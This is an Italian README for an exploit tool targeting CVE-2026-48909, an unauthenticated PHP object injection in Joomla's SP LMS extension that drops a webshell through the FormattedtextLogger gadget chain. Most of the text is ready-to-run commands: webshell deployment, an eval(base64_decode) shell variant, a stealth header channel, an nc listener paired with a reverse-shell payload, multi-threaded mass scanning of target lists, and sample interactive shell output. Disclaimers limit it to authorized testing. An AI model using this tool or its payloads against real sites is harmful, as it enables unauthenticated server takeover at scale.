CVE-2026-48909 - Exploit di iniezione di oggetti PHP non autenticata a RCE per l'estensione Joomla SP LMS versioni <= 4.1.3. Sfrutta la deserializzazione del cookie lmsOrders per scrivere una webshell tramite la catena di gadget Joomla FormattedtextLogger. Include shell interattiva, scoperta del percorso e pulizia. Solo per test di sicurezza autorizzati.
Strumento di valutazione proof-of-concept per CVE-2026-48909
Autore: Sudeepa Wanigarathna
[!IMPORTANT] Uso autorizzato esclusivamente. Questo strumento è destinato a ricerca sulla sicurezza, formazione e test su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore declina ogni responsabilità per un uso improprio.
CVE-2026-48909 è una iniezione di oggetti PHP non autenticata critica nell'estensione Joomla SP LMS. Questo strumento implementa l'intera catena di attacco per consentire ai professionisti della sicurezza di convalidare l'impatto in ambienti di laboratorio o autorizzati.
Copre rilevamento, scoperta di percorsi, consegna del payload, post-sfruttamento interattivo (dove consentito), valutazione di massa e pulizia opzionale.
| Attributo | Valore |
|---|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (Critical) |
| Vettore d'Attacco | Rete — non autenticato |
| Impatto | Esecuzione Remota di Codice |
| Prodotto Affetto | Joomla SP LMS |
| Versioni Affette | 1.0.0 – 4.1.3 |
| Versione Corretta | SP LMS 4.1.4+ |
| Catena Gadget | Richiede Joomla < 5.2.2 |
| Componente | Versione | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | Vulnerabile |
| SP LMS | ≥ 4.1.4 | Corretto |
| Joomla | < 5.2.2 | Catena gadget utilizzabile |
| Joomla | ≥ 5.2.2 | Catena gadget corretta |
| Capacità | Descrizione |
|---|---|
| Exploit non autenticato | Nessuna credenziale richiesta |
| Payload multipli | 7 varianti di webshell/esecuzione |
| Shell interattiva | Sessione con cronologia comandi dopo il deploy |
| Scoperta percorso | Sondaggio automatico del percorso scrivibile |
| Pulizia | Rimuovi webshell distribuita dopo i test |
| Capacità | Descrizione |
|---|---|
| Scansione di massa | Liste di target multi-thread (1000+) |
| Supporto proxy | HTTP/SOCKS (Burp, ZAP, ecc.) |
| Reverse shell | Payload basati su listener |
| Modalità stealth | Canali di comando orientati a Header/POST |
| Randomizzazione | Nomi shell UUID, rotazione User-Agent |
| Reportistica | Esporta come JSON, HTML o CSV |
| Assistenza al rilevamento | Controlli versione Joomla, --check-only, --safe-mode |
cmd di Joomla dove possibilepipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseè incluso nella libreria standard di Python; non necessita di installazione tramite pip.
Sostituisci
https://target.examplecon un target di laboratorio o autorizzato esclusivamente.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# Listener
nc -lvnp 4444
# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| Argomento | Descrizione |
|---|---|
target | URL singolo target |
--targets, -T FILE | File di target (un URL per riga) |
--path PATH | Percorso assoluto sul server per la webshell |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | Nome file webshell (default: x.php) |
| Argomento | Descrizione |
|---|---|
--timeout SECONDS | Timeout richiesta (default: 15) |
--insecure | Salta verifica certificato TLS |
--proxy URL | es. http://127.0.0.1:8080 |
--random-ua | Ruota User-Agent (abilitato per default) |
--delay SECONDS | Ritardo tra le richieste |
| Argomento | Descrizione |
|---|---|
--reverse-host HOST | Host listener |
--reverse-port PORT | Porta listener |
| Argomento | Descrizione |
|---|---|
--interactive, -i | Shell interattiva dopo il deploy |
--check-only | Solo controllo vulnerabilità |
--safe-mode | Test non distruttivi |
--find-path | Scopri automaticamente percorso scrivibile |
--cmd COMMAND | Esegui un comando ed esci |
--cleanup PATH | Rimuovi webshell al percorso |
--cleanup-after | Pulizia dopo lo sfruttamento |
| Argomento | Descrizione |
|---|---|
--threads NUM | Thread di lavoro (default: 10) |
--export FILE | Percorso output per risultati |
--export-format FORMAT | json, html, csv (default: json) |
| Argomento | Descrizione |
|---|---|
--log-file FILE | Scrivi log su file |
--quiet, -q | Modalità silenziosa |
--verbose, -v | Output verbose |
--no-banner | Nascondi banner |
| Tipo | Comportamento | Utilizzo tipico |
|---|---|---|
minimal | Esecuzione GET compatta | Spazio ridotto / test rapido |
standard | GET + POST cmd (default) | Valutazioni generali |
stealth | Comando tramite header X-Cmd | Riduci logging URL |
base64 | eval(base64_decode(...)) via POST | Lab di evasione filtri |
full | GET/POST + canale base64 | Controllo più ampio |
reverse | Shell di connessione di ritorno | Accesso persistente in lab |
blindshell | Pattern alternativo di inclusione/esecuzione | Ambienti vincolati |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]components/com_splms/models/cart.php unserializza un cookie lmsOrders decodificato in base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() attiva una scrittura su filesystem./, =, +).Il filtro cmd di Joomla può rimuovere /, =, e +. Questo strumento compensa:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| Sintomo | Cosa provare |
|---|---|
| Impossibile generare payload sicuro per il filtro | Prova un --path diverso o --find-path; evita caratteri insoliti nel percorso |
| Verifica shell fallita | Aumenta --timeout; prova --shell-type standard; verifica che system() o simili non siano disabilitati; controlla la scrivibilità |
| Il target non sembra vulnerabile | SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms presente; verifica blocchi WAF |
| HTTP 500 | --insecure, --timeout 30, controlla i log dell'applicazione/server |
| Connessione proxy rifiutata | Conferma che il proxy sia in ascolto; URL schema/host/porta corretti |
| Verifica TLS fallita | Aggiungi --insecure per endpoint di laboratorio con certificati non validi |
# Verbose + log su file
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# Attraverso Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# Prima test non distruttivo
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # Strumento principale (v3.0)
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
└── venv/ # Virtualenv locale (opzionale, non committato)
Aggiunte opzionali per una versione pubblica:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
Questo progetto è fornito così com'è per ricerca sulla sicurezza difensiva e test di penetrazione autorizzati.
Usando questo software accetti che:
Se scopri questa vulnerabilità in ambienti reali, segui le pratiche di divulgazione responsabile e coordina con il vendor/CERT dove appropriato.
Sudeepa Wanigarathna
Ricercatore di sicurezza · Hacking etico · Ricerca di vulnerabilità · Strumenti Python
Solo per test di sicurezza autorizzati.